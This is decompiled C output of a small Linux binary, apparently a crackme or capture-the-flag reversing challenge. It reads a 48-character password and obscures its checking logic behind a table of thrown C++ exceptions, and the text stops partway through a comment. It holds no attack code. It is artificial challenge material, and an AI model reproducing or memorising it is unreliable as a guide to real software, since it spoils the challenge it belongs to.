_QWORD *__fastcall sub_BE7A(_QWORD *a1); _QWORD *__fastcall sub_BEA4(_QWORD *a1); _QWORD *__fastcall sub_BECE(_QWORD *a1); _QWORD *__fastcall sub_BEF8(_QWORD *a1); _QWORD *__fastcall sub_BF22(_QWORD *a1); _QWORD *__fastcall sub_BF4C(_QWORD *a1); _QWORD *__fastcall sub_BF76(_QWORD *a1); _QWORD *__fastcall sub_BFA0(_QWORD *a1); _QWORD *__fastcall sub_BFCA(_QWORD *a1); _QWORD *__fastcall sub_BFF4(_QWORD *a1); _QWORD *__fastcall sub_C01E(_QWORD *a1); _QWORD *__fastcall sub_C048(_QWORD *a1); _QWORD *__fastcall sub_C072(_QWORD *a1); _QWORD *__fastcall sub_C09C(_QWORD *a1); _QWORD *__fastcall sub_C0C6(_QWORD *a1); _QWORD *__fastcall sub_C0F0(_QWORD *a1); void __fastcall init(unsigned int a1, __int64 a2, __int64 a3); void term_proc(); // _QWORD __cdecl std::exception::~exception(std::exception *__hidden this); idb // _QWORD __cdecl std::ios_base::Init::~Init(std::ios_base::Init *__hidden this); idb // __int64 ITM_deregisterTMCloneTable(void); weak // __int64 _gmon_start__(void); weak //------------------------------------------------------------------------- // Data declarations int dword_0 = 1179403647; // weak __int64 (__fastcall *off_210548[3])() = { &sub_4820, &sub_57E3, &sub_47E0 }; // weak __int64 (__fastcall *off_210558)() = &sub_47E0; // weak void (__fastcall __noreturn *off_210570)() = &sub_AC4A; // weak void (__fastcall __noreturn *off_210588)() = &sub_AB86; // weak void (__fastcall __noreturn *off_2105A0)() = &sub_AAFE; // weak void (__fastcall __noreturn *off_2105B8)() = &sub_AA6C; // weak void (__fastcall __noreturn *off_2105D0)() = &sub_A9E4; // weak void (__fastcall __noreturn *off_2105E8)() = &sub_A95C; // weak void (__fastcall __noreturn *off_210600)() = &sub_A860; // weak void (__fastcall __noreturn *off_210618)() = &sub_A7CE; // weak void (__fastcall __noreturn *off_210630)() = &sub_A72C; // weak void (__fastcall __noreturn *off_210648)() = &sub_A630; // weak void (__fastcall __noreturn *off_210660)() = &sub_A534; // weak void (__fastcall __noreturn *off_210678)() = &sub_A438; // weak void (__fastcall __noreturn *off_210690)() = &sub_A33C; // weak void (__fastcall __noreturn *off_2106A8)() = &sub_A296; // weak void (__fastcall __noreturn *off_2106C0)() = &sub_A19A; // weak void (__fastcall __noreturn *off_2106D8)() = &sub_A09E; // weak void (__fastcall __noreturn *off_2106F0)() = &sub_9FA2; // weak void (__fastcall __noreturn *off_210708)() = &sub_9EFA; // weak void (__fastcall __noreturn *off_210720)() = &sub_9E36; // weak void (__fastcall __noreturn *off_210738)() = &sub_9D90; // weak void (__fastcall __noreturn *off_210750)() = &sub_9CE8; // weak void (__fastcall __noreturn *off_210768)() = &sub_9C40; // weak void (__fastcall __noreturn *off_210780)() = &sub_9B9E; // weak void (__fastcall __noreturn *off_210798)() = &sub_9B16; // weak void (__fastcall __noreturn *off_2107B0)() = &sub_9A1A; // weak void (__fastcall __noreturn *off_2107C8)() = &sub_9994; // weak void (__fastcall __noreturn *off_2107E0)() = &sub_9898; // weak void (__fastcall __noreturn *off_2107F8)() = &sub_9810; // weak void (__fastcall __noreturn *off_210810)() = &sub_9788; // weak void (__fastcall __noreturn *off_210828)() = &sub_96E2; // weak void (__fastcall __noreturn *off_210840)() = &sub_9640; // weak void (__fastcall __noreturn *off_210858)() = &sub_95B8; // weak void (__fastcall __noreturn *off_210870)() = &sub_952E; // weak void (__fastcall __noreturn *off_210888)() = &sub_9488; // weak void (__fastcall __noreturn *off_2108A0)() = &sub_9400; // weak void (__fastcall __noreturn *off_2108B8)() = &sub_9378; // weak void (__fastcall __noreturn *off_2108D0)() = &sub_92EE; // weak void (__fastcall __noreturn *off_2108E8)() = &sub_925C; // weak void (__fastcall __noreturn *off_210900)() = &sub_91D4; // weak void (__fastcall __noreturn *off_210918)() = &sub_915A; // weak void (__fastcall __noreturn *off_210930)() = &sub_90D2; // weak void (__fastcall __noreturn *off_210948)() = &sub_8FD6; // weak void (__fastcall __noreturn *off_210960)() = &sub_8F30; // weak void (__fastcall __noreturn *off_210978)() = &sub_8E8E; // weak void (__fastcall __noreturn *off_210990)() = &sub_8DFC; // weak void (__fastcall __noreturn *off_2109A8)() = &sub_8D5A; // weak void (__fastcall __noreturn *off_2109C0)() = &sub_8C5E; // weak void (__fastcall __noreturn *off_2109D8)() = &sub_8BBC; // weak void (__fastcall __noreturn *off_2109F0)() = &sub_8AFA; // weak void (__fastcall __noreturn *off_210A08)() = &sub_8A54; // weak void (__fastcall __noreturn *off_210A20)() = &sub_8958; // weak void (__fastcall __noreturn *off_210A38)() = &sub_88CE; // weak void (__fastcall __noreturn *off_210A50)() = &sub_87D2; // weak void (__fastcall __noreturn *off_210A68)() = &sub_8730; // weak void (__fastcall __noreturn *off_210A80)() = &sub_86A8; // weak void (__fastcall __noreturn *off_210A98)() = &sub_861E; // weak void (__fastcall __noreturn *off_210AB0)() = &sub_8578; // weak void (__fastcall __noreturn *off_210AC8)() = &sub_84F2; // weak void (__fastcall __noreturn *off_210AE0)() = &sub_844C; // weak void (__fastcall __noreturn *off_210AF8)() = &sub_83C4; // weak void (__fastcall __noreturn *off_210B10)() = &sub_833C; // weak void (__fastcall __noreturn *off_210B28)() = &loc_8240; // weak void (__fastcall __noreturn *off_210B40)() = &sub_819A; // weak void (__fastcall __noreturn *off_210B58)() = &sub_80F8; // weak void (__fastcall __noreturn *off_210B70)() = &sub_8070; // weak void (__fastcall __noreturn *off_210B88)() = &sub_7FCA; // weak void (__fastcall __noreturn *off_210BA0)() = &sub_7ECE; // weak void (__fastcall __noreturn *off_210BB8)() = &sub_7E28; // weak void (__fastcall __noreturn *off_210BD0)() = &sub_7D2C; // weak void (__fastcall __noreturn *off_210BE8)() = &sub_7CA4; // weak void (__fastcall __noreturn *off_210C00)() = &sub_7BA8; // weak void (__fastcall __noreturn *off_210C18)() = &sub_7B1E; // weak void (__fastcall __noreturn *off_210C30)() = &sub_7A98; // weak void (__fastcall __noreturn *off_210C48)() = &sub_7A12; // weak void (__fastcall __noreturn *off_210C60)() = &sub_7970; // weak void (__fastcall __noreturn *off_210C78)() = &sub_78F6; // weak void (__fastcall __noreturn *off_210C90)() = &sub_786C; // weak void (__fastcall __noreturn *off_210CA8)() = &sub_77C6; // weak void (__fastcall __noreturn *off_210CC0)() = &sub_773C; // weak void (__fastcall __noreturn *off_210CD8)() = &sub_76B4; // weak void (__fastcall __noreturn *off_210CF0)() = &sub_75B8; // weak void (__fastcall __noreturn *off_210D08)() = &sub_74BC; // weak void (__fastcall __noreturn *off_210D20)() = &sub_7432; // weak void (__fastcall __noreturn *off_210D38)() = &sub_73A8; // weak void (__fastcall __noreturn *off_210D50)() = &sub_72AC; // weak void (__fastcall __noreturn *off_210D68)() = &sub_71B0; // weak void (__fastcall __noreturn *off_210D80)() = &sub_70B4; // weak void (__fastcall __noreturn *off_210D98)() = &sub_702C; // weak void (__fastcall __noreturn *off_210DB0)() = &sub_6F30; // weak void (__fastcall __noreturn *off_210DC8)() = &sub_6E34; // weak void (__fastcall __noreturn *off_210DE0)() = &sub_6D92; // weak void (__fastcall __noreturn *off_210DF8)() = &sub_6D0A; // weak void (__fastcall __noreturn *off_210E10)() = &sub_6C82; // weak void (__fastcall __noreturn *hunky_off_210E28)() = &sub_6BFA; // weak void (__fastcall __noreturn *off_210E40)() = &sub_6B72; // weak void (__fastcall __noreturn *off_210E58)() = &sub_6AE8; // weak void (__fastcall __noreturn *off_210E70)() = &sub_6A46; // weak void (__fastcall __noreturn *off_210E88)() = &sub_6982; // weak void (__fastcall __noreturn *off_210EA0)() = &sub_68C0; // weak void (__fastcall __noreturn *off_210EB8)() = &sub_6838; // weak void (__fastcall __noreturn *off_210ED0)() = &sub_673C; // weak void (__fastcall __noreturn *off_210EE8)() = &sub_66B2; // weak void (__fastcall __noreturn *off_210F00)() = &sub_660A; // weak void (__fastcall __noreturn *off_210F18)() = &sub_650E; // weak void (__fastcall __noreturn *off_210F30)() = &sub_646C; // weak void (__fastcall __noreturn *off_210F48)() = &sub_63E4; // weak void (__fastcall __noreturn *off_210F60)() = &sub_635C; // weak void (__fastcall __noreturn *off_210F78)() = &sub_62D4; // weak void (__fastcall __noreturn *off_210F90)() = &sub_624A; // weak void (__fastcall __noreturn *off_210FA8)() = &sub_614E; // weak void (__fastcall __noreturn *off_210FC0)() = &sub_60C6; // weak void (__fastcall __noreturn *off_210FD8)() = &sub_5FCA; // weak void (__fastcall __noreturn *off_210FF0)() = &sub_5F42; // weak void (__fastcall __noreturn *off_211008)() = &sub_5E46; // weak void (__fastcall __noreturn *off_211020)() = &sub_5DA0; // weak void (__fastcall __noreturn *off_211038)() = &sub_5CFA; // weak void (__fastcall __noreturn *off_211050)() = &sub_5C54; // weak void (__fastcall __noreturn *off_211068)() = &sub_5B58; // weak void (__fastcall __noreturn *off_211080)() = &sub_5AB2; // weak void (__fastcall __noreturn *off_211098)() = &sub_5A2A; // weak void (__fastcall __noreturn *off_2110B0)() = &sub_59A2; // weak void (__fastcall __noreturn *off_2110C8)() = &sub_58A6; // weak void (__fastcall __noreturn *off_2110E0)() = &sub_581E; // weak __int64 (__fastcall *vtable_base_off_2110F8)() = &sub_5812; // weak _UNKNOWN `typeinfo for'int; // weak _UNKNOWN unk_211120; // weak _UNKNOWN `typeinfo for'std::exception; // weak void *`typeinfo for'Base * = &scanf; // weak void *off_212008 = &off_212008; // weak void *off_213150 = &unk_212020; // weak _UNKNOWN unk_213170; // weak char byte_213180; // weak __int64 qword_2131A0; // weak __int64 qword_2131A8; // weak int dword_2131CC; // weak int dword_2131D4; // weak __int64 exception_table[123]; char our_password[49]; // idb _UNKNOWN unk_213631; // weak // extern _UNKNOWN __cxa_finalize; weak //----- (0000000000004600) ---------------------------------------------------- __int64 (**init_proc())(void) { __int64 (**result)(void); // rax result = &_gmon_start__; if ( &_gmon_start__ ) result = (__int64 (**)(void))_gmon_start__(); return result; } // 2136F0: using guessed type __int64 _gmon_start__(void); //----- (0000000000004620) ---------------------------------------------------- void sub_4620() { JUMPOUT(&dword_0); } // 0: using guessed type int dword_0; //----- (0000000000004720) ---------------------------------------------------- #error "4726: positive sp value has been found (funcsize=3)" //----- (0000000000004750) ---------------------------------------------------- __int64 (**sub_4750())(void) { __int64 (**result)(void); // rax result = (__int64 (**)(void))&unk_213170; if ( &unk_213170 != &unk_213170 ) { result = &ITM_deregisterTMCloneTable; if ( &ITM_deregisterTMCloneTable ) result = (__int64 (**)(void))ITM_deregisterTMCloneTable(); } return result; } // 2136E8: using guessed type __int64 ITM_deregisterTMCloneTable(void); //----- (0000000000004790) ---------------------------------------------------- __int64 sub_4790() { return 0LL; } //----- (00000000000047E0) ---------------------------------------------------- __int64 (**sub_47E0())(void) { __int64 (**result)(void); // rax if ( !byte_213180 ) { if ( &__cxa_finalize ) _cxa_finalize(off_212008); result = sub_4750(); byte_213180 = 1; } return result; } // 4710: using guessed type __int64 __fastcall _cxa_finalize(_QWORD); // 212008: using guessed type void *off_212008; // 213180: using guessed type char byte_213180; //----- (0000000000004820) ---------------------------------------------------- __int64 sub_4820() { return sub_4790(); } //----- (000000000000482A) ---------------------------------------------------- _QWORD *run_funkies() { _QWORD *v0; // rbx _QWORD *v1; // rbx _QWORD *v2; // rbx _QWORD *v3; // rbx _QWORD *v4; // rbx _QWORD *v5; // rbx _QWORD *v6; // rbx _QWORD *v7; // rbx _QWORD *v8; // rbx _QWORD *v9; // rbx _QWORD *v10; // rbx _QWORD *v11; // rbx _QWORD *v12; // rbx _QWORD *v13; // rbx _QWORD *v14; // rbx _QWORD *v15; // rbx _QWORD *v16; // rbx _QWORD *v17; // rbx _QWORD *v18; // rbx _QWORD *v19; // rbx _QWORD *v20; // rbx _QWORD *v21; // rbx _QWORD *v22; // rbx _QWORD *v23; // rbx _QWORD *v24; // rbx _QWORD *v25; // rbx _QWORD *v26; // rbx _QWORD *v27; // rbx _QWORD *v28; // rbx _QWORD *v29; // rbx _QWORD *v30; // rbx _QWORD *v31; // rbx _QWORD *v32; // rbx _QWORD *v33; // rbx _QWORD *v34; // rbx _QWORD *v35; // rbx _QWORD *v36; // rbx _QWORD *v37; // rbx _QWORD *v38; // rbx _QWORD *v39; // rbx _QWORD *v40; // rbx _QWORD *v41; // rbx _QWORD *v42; // rbx _QWORD *v43; // rbx _QWORD *v44; // rbx _QWORD *v45; // rbx _QWORD *v46; // rbx _QWORD *v47; // rbx _QWORD *v48; // rbx _QWORD *v49; // rbx _QWORD *v50; // rbx _QWORD *v51; // rbx _QWORD *v52; // rbx _QWORD *v53; // rbx _QWORD *v54; // rbx _QWORD *v55; // rbx _QWORD *v56; // rbx _QWORD *v57; // rbx _QWORD *v58; // rbx _QWORD *v59; // rbx _QWORD *v60; // rbx _QWORD *v61; // rbx _QWORD *v62; // rbx _QWORD *v63; // rbx _QWORD *v64; // rbx _QWORD *v65; // rbx _QWORD *v66; // rbx _QWORD *v67; // rbx _QWORD *v68; // rbx _QWORD *v69; // rbx _QWORD *v70; // rbx _QWORD *v71; // rbx _QWORD *v72; // rbx _QWORD *v73; // rbx _QWORD *v74; // rbx _QWORD *v75; // rbx _QWORD *v76; // rbx _QWORD *v77; // rbx _QWORD *v78; // rbx _QWORD *v79; // rbx _QWORD *v80; // rbx _QWORD *v81; // rbx _QWORD *v82; // rbx _QWORD *v83; // rbx _QWORD *v84; // rbx _QWORD *v85; // rbx _QWORD *v86; // rbx _QWORD *v87; // rbx _QWORD *v88; // rbx _QWORD *v89; // rbx _QWORD *v90; // rbx _QWORD *v91; // rbx _QWORD *v92; // rbx _QWORD *v93; // rbx _QWORD *v94; // rbx _QWORD *v95; // rbx _QWORD *v96; // rbx _QWORD *v97; // rbx _QWORD *v98; // rbx _QWORD *v99; // rbx _QWORD *v100; // rbx _QWORD *v101; // rbx _QWORD *v102; // rbx _QWORD *v103; // rbx _QWORD *v104; // rbx _QWORD *v105; // rbx _QWORD *v106; // rbx _QWORD *v107; // rbx _QWORD *v108; // rbx _QWORD *v109; // rbx _QWORD *v110; // rbx _QWORD *v111; // rbx _QWORD *v112; // rbx _QWORD *v113; // rbx _QWORD *v114; // rbx _QWORD *v115; // rbx _QWORD *v116; // rbx _QWORD *v117; // rbx _QWORD *v118; // rbx _QWORD *v119; // rbx _QWORD *v120; // rbx _QWORD *v121; // rbx _QWORD *v122; // rbx _QWORD *result; // rax v0 = (_QWORD *)operator new(8uLL); funky_0(v0); exception_table[70] = (__int64)v0; v1 = (_QWORD *)operator new(8uLL); funky_1(v1); exception_table[14] = (__int64)v1; v2 = (_QWORD *)operator new(8uLL); sub_AD40(v2); exception_table[120] = (__int64)v2; v3 = (_QWORD *)operator new(8uLL); sub_AD6A(v3); exception_table[26] = (__int64)v3; v4 = (_QWORD *)operator new(8uLL); sub_AD94(v4); exception_table[56] = (__int64)v4; v5 = (_QWORD *)operator new(8uLL); sub_ADBE(v5); exception_table[18] = (__int64)v5; v6 = (_QWORD *)operator new(8uLL); sub_ADE8(v6); exception_table[103] = (__int64)v6; v7 = (_QWORD *)operator new(8uLL); sub_AE12(v7); exception_table[61] = (__int64)v7; v8 = (_QWORD *)operator new(8uLL); sub_AE3C(v8); exception_table[89] = (__int64)v8; v9 = (_QWORD *)operator new(8uLL); sub_AE66(v9); exception_table[86] = (__int64)v9; v10 = (_QWORD *)operator new(8uLL); sub_AE90(v10); exception_table[60] = (__int64)v10; v11 = (_QWORD *)operator new(8uLL); sub_AEBA(v11); exception_table[16] = (__int64)v11; v12 = (_QWORD *)operator new(8uLL); sub_AEE4(v12); exception_table[79] = (__int64)v12; v13 = (_QWORD *)operator new(8uLL); sub_AF0E(v13); exception_table[72] = (__int64)v13; v14 = (_QWORD *)operator new(8uLL); sub_AF38(v14); exception_table[82] = (__int64)v14; v15 = (_QWORD *)operator new(8uLL); sub_AF62(v15); exception_table[100] = (__int64)v15; v16 = (_QWORD *)operator new(8uLL); sub_AF8C(v16); exception_table[101] = (__int64)v16; v17 = (_QWORD *)operator new(8uLL); sub_AFB6(v17); exception_table[119] = (__int64)v17; v18 = (_QWORD *)operator new(8uLL); sub_AFE0(v18); exception_table[23] = (__int64)v18; v19 = (_QWORD *)operator new(8uLL); sub_B00A(v19); exception_table[68] = (__int64)v19; v20 = (_QWORD *)operator new(8uLL); sub_B034(v20); exception_table[78] = (__int64)v20; v21 = (_QWORD *)operator new(8uLL); sub_B05E(v21); exception_table[76] = (__int64)v21; v22 = (_QWORD *)operator new(8uLL); sub_B088(v22); exception_table[102] = (__int64)v22; v23 = (_QWORD *)operator new(8uLL); sub_B0B2(v23); exception_table[6] = (__int64)v23; v24 = (_QWORD *)operator new(8uLL); sub_B0DC(v24); exception_table[123] = (__int64)v24; v25 = (_QWORD *)operator new(8uLL); sub_B106(v25); exception_table[22] = (__int64)v25; v26 = (_QWORD *)operator new(8uLL); sub_B130(v26); exception_table[8] = (__int64)v26; v27 = (_QWORD *)operator new(8uLL); sub_B15A(v27); exception_table[0] = (__int64)v27; v28 = (_QWORD *)operator new(8uLL); sub_B184(v28); exception_table[3] = (__int64)v28; v29 = (_QWORD *)operator new(8uLL); sub_B1AE(v29); exception_table[10] = (__int64)v29; v30 = (_QWORD *)operator new(8uLL); sub_B1D8(v30); exception_table[63] = (__int64)v30; v31 = (_QWORD *)operator new(8uLL); sub_B202(v31); exception_table[54] = (__int64)v31; v32 = (_QWORD *)operator new(8uLL); sub_B22C(v32); exception_table[85] = (__int64)v32; v33 = (_QWORD *)operator new(8uLL); sub_B256(v33); exception_table[109] = (__int64)v33; v34 = (_QWORD *)operator new(8uLL); sub_B280(v34); exception_table[59] = (__int64)v34; v35 = (_QWORD *)operator new(8uLL); sub_B2AA(v35); exception_table[24] = (__int64)v35; v36 = (_QWORD *)operator new(8uLL); sub_B2D4(v36); exception_table[27] = (__int64)v36; v37 = (_QWORD *)operator new(8uLL); sub_B2FE(v37); exception_table[50] = (__int64)v37; v38 = (_QWORD *)operator new(8uLL); sub_B328(v38); exception_table[49] = (__int64)v38; v39 = (_QWORD *)operator new(8uLL); sub_B352(v39); exception_table[9] = (__int64)v39; v40 = (_QWORD *)operator new(8uLL); sub_B37C(v40); exception_table[51] = (__int64)v40; v41 = (_QWORD *)operator new(8uLL); sub_B3A6(v41); exception_table[83] = (__int64)v41; v42 = (_QWORD *)operator new(8uLL); sub_B3D0(v42); exception_table[90] = (__int64)v42; v43 = (_QWORD *)operator new(8uLL); sub_B3FA(v43); exception_table[88] = (__int64)v43; v44 = (_QWORD *)operator new(8uLL); sub_B424(v44); exception_table[84] = (__int64)v44; v45 = (_QWORD *)operator new(8uLL); sub_B44E(v45); exception_table[94] = (__int64)v45; v46 = (_QWORD *)operator new(8uLL); sub_B478(v46); exception_table[32] = (__int64)v46; v47 = (_QWORD *)operator new(8uLL); sub_B4A2(v47); exception_table[46] = (__int64)v47; v48 = (_QWORD *)operator new(8uLL); sub_B4CC(v48); exception_table[4] = (__int64)v48; v49 = (_QWORD *)operator new(8uLL); sub_B4F6(v49); exception_table[25] = (__int64)v49; v50 = (_QWORD *)operator new(8uLL); sub_B520(v50); exception_table[112] = (__int64)v50; v51 = (_QWORD *)operator new(8uLL); sub_B54A(v51); exception_table[95] = (__int64)v51; v52 = (_QWORD *)operator new(8uLL); sub_B574(v52); exception_table[19] = (__int64)v52; v53 = (_QWORD *)operator new(8uLL); sub_B59E(v53); exception_table[43] = (__int64)v53; v54 = (_QWORD *)operator new(8uLL); sub_B5C8(v54); exception_table[37] = (__int64)v54; v55 = (_QWORD *)operator new(8uLL); sub_B5F2(v55); exception_table[44] = (__int64)v55; v56 = (_QWORD *)operator new(8uLL); sub_B61C(v56); exception_table[114] = (__int64)v56; v57 = (_QWORD *)operator new(8uLL); sub_B646(v57); exception_table[105] = (__int64)v57; v58 = (_QWORD *)operator new(8uLL); sub_B670(v58); exception_table[36] = (__int64)v58; v59 = (_QWORD *)operator new(8uLL); sub_B69A(v59); exception_table[57] = (__int64)v59; v60 = (_QWORD *)operator new(8uLL); sub_B6C4(v60); exception_table[31] = (__int64)v60; v61 = (_QWORD *)operator new(8uLL); sub_B6EE(v61); exception_table[64] = (__int64)v61; v62 = (_QWORD *)operator new(8uLL); sub_B718(v62); exception_table[41] = (__int64)v62; v63 = (_QWORD *)operator new(8uLL); sub_B742(v63); exception_table[1] = (__int64)v63; v64 = (_QWORD *)operator new(8uLL); sub_B76C(v64); exception_table[77] = (__int64)v64; v65 = (_QWORD *)operator new(8uLL); sub_B796(v65); exception_table[7] = (__int64)v65; v66 = (_QWORD *)operator new(8uLL); sub_B7C0(v66); exception_table[73] = (__int64)v66; v67 = (_QWORD *)operator new(8uLL); sub_B7EA(v67); exception_table[97] = (__int64)v67; v68 = (_QWORD *)operator new(8uLL); sub_B814(v68); exception_table[58] = (__int64)v68; v69 = (_QWORD *)operator new(8uLL); sub_B83E(v69); exception_table[75] = (__int64)v69; v70 = (_QWORD *)operator new(8uLL); sub_B868(v70); exception_table[13] = (__int64)v70; v71 = (_QWORD *)operator new(8uLL); sub_B892(v71); exception_table[91] = (__int64)v71; v72 = (_QWORD *)operator new(8uLL); sub_B8BC(v72); exception_table[28] = (__int64)v72; v73 = (_QWORD *)operator new(8uLL); sub_B8E6(v73); exception_table[96] = (__int64)v73; v74 = (_QWORD *)operator new(8uLL); sub_B910(v74); exception_table[21] = (__int64)v74; v75 = (_QWORD *)operator new(8uLL); sub_B93A(v75); exception_table[99] = (__int64)v75; v76 = (_QWORD *)operator new(8uLL); sub_B964(v76); exception_table[80] = (__int64)v76; v77 = (_QWORD *)operator new(8uLL); sub_B98E(v77); exception_table[113] = (__int64)v77; v78 = (_QWORD *)operator new(8uLL); sub_B9B8(v78); exception_table[66] = (__int64)v78; v79 = (_QWORD *)operator new(8uLL); sub_B9E2(v79); exception_table[45] = (__int64)v79; v80 = (_QWORD *)operator new(8uLL); sub_BA0C(v80); exception_table[42] = (__int64)v80; v81 = (_QWORD *)operator new(8uLL); sub_BA36(v81); exception_table[108] = (__int64)v81; v82 = (_QWORD *)operator new(8uLL); sub_BA60(v82); exception_table[71] = (__int64)v82; v83 = (_QWORD *)operator new(8uLL); sub_BA8A(v83); exception_table[52] = (__int64)v83; v84 = (_QWORD *)operator new(8uLL); sub_BAB4(v84); exception_table[93] = (__int64)v84; v85 = (_QWORD *)operator new(8uLL); sub_BADE(v85); exception_table[69] = (__int64)v85; v86 = (_QWORD *)operator new(8uLL); sub_BB08(v86); exception_table[74] = (__int64)v86; v87 = (_QWORD *)operator new(8uLL); sub_BB32(v87); exception_table[115] = (__int64)v87; v88 = (_QWORD *)operator new(8uLL); sub_BB5C(v88); exception_table[33] = (__int64)v88; v89 = (_QWORD *)operator new(8uLL); sub_BB86(v89); exception_table[12] = (__int64)v89; v90 = (_QWORD *)operator new(8uLL); sub_BBB0(v90); exception_table[47] = (__int64)v90; v91 = (_QWORD *)operator new(8uLL); sub_BBDA(v91); exception_table[98] = (__int64)v91; v92 = (_QWORD *)operator new(8uLL); sub_BC04(v92); exception_table[5] = (__int64)v92; v93 = (_QWORD *)operator new(8uLL); sub_BC2E(v93); exception_table[11] = (__int64)v93; v94 = (_QWORD *)operator new(8uLL); sub_BC58(v94); exception_table[34] = (__int64)v94; v95 = (_QWORD *)operator new(8uLL); sub_BC82(v95); exception_table[87] = (__int64)v95; v96 = (_QWORD *)operator new(8uLL); sub_BCAC(v96); exception_table[81] = (__int64)v96; v97 = (_QWORD *)operator new(8uLL); sub_BCD6(v97); exception_table[53] = (__int64)v97; v98 = (_QWORD *)operator new(8uLL); sub_BD00(v98); exception_table[62] = (__int64)v98; v99 = (_QWORD *)operator new(8uLL); sub_BD2A(v99); exception_table[122] = (__int64)v99; v100 = (_QWORD *)operator new(8uLL); sub_BD54(v100); exception_table[92] = (__int64)v100; v101 = (_QWORD *)operator new(8uLL); sub_BD7E(v101); exception_table[116] = (__int64)v101; v102 = (_QWORD *)operator new(8uLL); sub_BDA8(v102); exception_table[35] = (__int64)v102; v103 = (_QWORD *)operator new(8uLL); sub_BDD2(v103); exception_table[110] = (__int64)v103; v104 = (_QWORD *)operator new(8uLL); sub_BDFC(v104); exception_table[2] = (__int64)v104; v105 = (_QWORD *)operator new(8uLL); sub_BE26(v105); exception_table[67] = (__int64)v105; v106 = (_QWORD *)operator new(8uLL); sub_BE50(v106); exception_table[111] = (__int64)v106; v107 = (_QWORD *)operator new(8uLL); sub_BE7A(v107); exception_table[29] = (__int64)v107; v108 = (_QWORD *)operator new(8uLL); sub_BEA4(v108); exception_table[107] = (__int64)v108; v109 = (_QWORD *)operator new(8uLL); sub_BECE(v109); exception_table[15] = (__int64)v109; v110 = (_QWORD *)operator new(8uLL); sub_BEF8(v110); exception_table[55] = (__int64)v110; v111 = (_QWORD *)operator new(8uLL); sub_BF22(v111); exception_table[20] = (__int64)v111; v112 = (_QWORD *)operator new(8uLL); sub_BF4C(v112); exception_table[117] = (__int64)v112; v113 = (_QWORD *)operator new(8uLL); sub_BF76(v113); exception_table[30] = (__int64)v113; v114 = (_QWORD *)operator new(8uLL); sub_BFA0(v114); exception_table[38] = (__int64)v114; v115 = (_QWORD *)operator new(8uLL); sub_BFCA(v115); exception_table[104] = (__int64)v115; v116 = (_QWORD *)operator new(8uLL); sub_BFF4(v116); exception_table[48] = (__int64)v116; v117 = (_QWORD *)operator new(8uLL); sub_C01E(v117); exception_table[106] = (__int64)v117; v118 = (_QWORD *)operator new(8uLL); sub_C048(v118); exception_table[118] = (__int64)v118; v119 = (_QWORD *)operator new(8uLL); sub_C072(v119); exception_table[17] = (__int64)v119; v120 = (_QWORD *)operator new(8uLL); sub_C09C(v120); exception_table[121] = (__int64)v120; v121 = (_QWORD *)operator new(8uLL); sub_C0C6(v121); exception_table[39] = (__int64)v121; v122 = (_QWORD *)operator new(8uLL); result = sub_C0F0(v122); exception_table[40] = (__int64)v122; return result; } //----- (00000000000055AF) ---------------------------------------------------- void __fastcall __noreturn do_goto(int a1) { _QWORD *v1; // rax v1 = (_QWORD *)__cxa_allocate_exception(8LL); *v1 = exception_table[a1]; __cxa_throw(v1, &`typeinfo for'Base *, 0LL); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 211170: using guessed type void *`typeinfo for'Base *; //----- (0000000000005643) ---------------------------------------------------- void __noreturn nope() { puts("NO"); exit(0); } //----- (000000000000565D) ---------------------------------------------------- void __fastcall main(__int64 a1, char **a2, char **a3) { __int64 v3; // rdx run_funkies(); scanf("%49s", our_password); if ( strlen(our_password) != 48 ) nope(); v3 = *(_QWORD *)&our_password[8]; qword_2131A0 = *(_QWORD *)our_password; qword_2131A8 = v3; do_goto(28); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 46E0: using guessed type __int64 __fastcall __cxa_end_catch(_QWORD); // 2131A0: using guessed type __int64 qword_2131A0; // 2131A8: using guessed type __int64 qword_2131A8; // 2131B0: using guessed type __int64 qword_2131B0; // 2131B8: using guessed type __int64 qword_2131B8; //----- (000000000000579A) ---------------------------------------------------- __int64 __fastcall sub_579A(int a1, int a2) { __int64 result; // rax if ( a1 == 1 && a2 == 0xFFFF ) { std::ios_base::Init::Init((std::ios_base::Init *)&unk_213631); result = __cxa_atexit(&std::ios_base::Init::~Init, &unk_213631, &off_212008); } return result; } // 4680: using guessed type __int64 __fastcall __cxa_atexit(_QWORD, _QWORD, _QWORD); // 212008: using guessed type void *off_212008; //----- (00000000000057E3) ---------------------------------------------------- __int64 sub_57E3() { return sub_579A(1, 0xFFFF); } //----- (00000000000057F8) ---------------------------------------------------- _QWORD *__fastcall sub_57F8(_QWORD *a1) { _QWORD *result; // rax result = a1; *a1 = &unk_211120; return result; } //----- (0000000000005812) ---------------------------------------------------- void sub_5812() { ; } //----- (000000000000581E) ---------------------------------------------------- void __noreturn sub_581E() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131CC: using guessed type int dword_2131CC; //----- (00000000000058A6) ---------------------------------------------------- void __noreturn sub_58A6() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 213150: using guessed type void *off_213150; // 2131C4: using guessed type int dword_2131C4; // 2131D4: using guessed type int dword_2131D4; //----- (00000000000059A2) ---------------------------------------------------- void __noreturn sub_59A2() { _QWORD *v0; // rbx v0 = (_QWORD *)__cxa_allocate_exception(8LL); sub_57F8(v0); __cxa_throw(v0, &`typeinfo for'std::exception, &std::exception::~exception); } // 4640: using guessed type __int64 __fastcall __cxa_begin_catch(_QWORD); // 4670: using guessed type __int64 __fastcall __cxa_allocate_exception(_QWORD); // 46F0: using guessed type __int64 __fastcall __cxa_throw(_QWORD, _QWORD, _QWORD); // 2131C0: using guessed type int 